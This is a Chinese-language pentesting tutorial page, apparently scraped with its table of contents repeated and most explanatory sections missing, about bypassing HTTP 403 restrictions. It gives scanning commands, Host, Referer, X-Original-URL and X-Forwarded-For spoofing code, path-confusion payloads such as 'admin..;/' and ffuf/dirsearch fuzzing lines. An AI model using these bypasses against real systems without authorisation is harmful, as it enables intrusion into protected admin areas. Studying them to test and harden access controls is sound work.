渗透测试中利用 403 状态码绕过访问限制的方法

渗透测试中利用 403 状态码绕过访问限制的方法 | 极客日志

端口扫描：使用 Nmap 或 Masscan 对目标 IP 进行全端口扫描。
```
nmap -sV -p- <target_ip>
```
服务识别：确认开放端口的服务类型（HTTP, Tomcat, JBoss 等）。
尝试访问：直接访问非标准端口，观察响应状态码。
```
curl -v http://<target_ip>:8080/admin
```
漏洞挖掘：若返回 200 OK，则可能存在未授权访问风险；若返回 403，可结合后续 Header 绕过技巧。

子域名收集：利用 Subfinder、Amass 等工具收集目标域名的所有子域名资产。
Fuzz 测试：使用 Burp Suite Intruder 模块遍历收集到的子域名，检测哪些能返回 200 状态码。
- Payload 示例：subdomain.target.com, admin.target.com
Host 头伪造：将请求的 Host 头修改为成功的子域名。
```
GET / HTTP/1.1
Host: valid-subdomain.target.com
```
IP 地址测试：部分系统支持直接使用 IP 作为 Host 头，尝试将 Host 改为服务器内网 IP。

import requests

url = "http://target.com/auth/login"
headers = {
    "X-Original-URL": "/auth/login",
    "X-Rewrite-URL": "/auth/login"
}
response = requests.get(url, headers=headers)
print(response.status_code)  # 可能返回 200

分析业务逻辑：确定哪些接口依赖 Referer 校验。

构造请求：在请求头中添加合法的 Referer 值。

GET /restricted/page HTTP/1.1
Host: target.com
Referer: https://target.com/allowed/page

自动化测试：编写脚本批量发送带伪造 Referer 的请求。

headers = {
    "X-Forwarded-For": "127.0.0.1",
    "X-Client-IP": "127.0.0.1",
    "X-Custom-IP-Authorization": "127.0.0.1"
}
requests.get("http://target.com/api", headers=headers)

site.com/admin => 403
site.com/admin/ => 200
site.com/admin// => 200
site.com/admin/* => 200
site.com/admin/. => 200
site.com/%2f/admin => 200
site.com/admin%20/ => 200
site.com/admin..;/ => 200

dirsearch -u http://target.com -e php,html,txt --force-redirect
ffuf -w wordlist.txt -u http://target.com/FUZZ -H "X-Original-URL: /FUZZ"

渗透测试中利用 403 状态码绕过访问限制的方法

渗透测试中利用 403 状态码绕过访问限制的方法

1. 概述

2. 端口利用与服务发现

2.1 原理

2.2 操作步骤

3. Host 头注入与子域名枚举

3.1 原理

3.2 操作步骤

4. 请求 URL 覆盖技术

4.1 原理

4.2 常见 Header

4.3 代码示例

4.4 注意事项

5. Referer 标头绕过

5.1 原理

5.2 操作步骤

6. 代理 IP 伪装

6.1 原理

6.2 常见伪造 Header

6.3 代码示例

6.4 防御建议

7. 扩展名与路径混淆绕过

7.1 原理

7.2 常见绕过模式

7.3 测试列表

8. 目录扫描与 Fuzzing 策略

8.1 工具选择

8.2 关键配置

8.3 命令示例

9. 高级绕过技巧

9.1 大小写混淆

9.2 双编码绕过

9.3 SSL/TLS 劫持

10. 防御与加固建议

11. 总结

更多推荐文章

相关免费在线工具

渗透测试中利用 403 状态码绕过访问限制的方法

渗透测试中利用 403 状态码绕过访问限制的方法

1. 概述

2. 端口利用与服务发现

2.1 原理

2.2 操作步骤

3. Host 头注入与子域名枚举

3.1 原理

3.2 操作步骤

4. 请求 URL 覆盖技术

4.1 原理

4.2 常见 Header

4.3 代码示例

4.4 注意事项

5. Referer 标头绕过

5.1 原理

5.2 操作步骤

6. 代理 IP 伪装

6.1 原理

6.2 常见伪造 Header

6.3 代码示例

6.4 防御建议

7. 扩展名与路径混淆绕过

7.1 原理

7.2 常见绕过模式

7.3 测试列表

8. 目录扫描与 Fuzzing 策略

8.1 工具选择

8.2 关键配置

8.3 命令示例

9. 高级绕过技巧

9.1 大小写混淆

9.2 双编码绕过

9.3 SSL/TLS 劫持

10. 防御与加固建议

11. 总结

微信扫一扫，关注极客日志

更多推荐文章

相关免费在线工具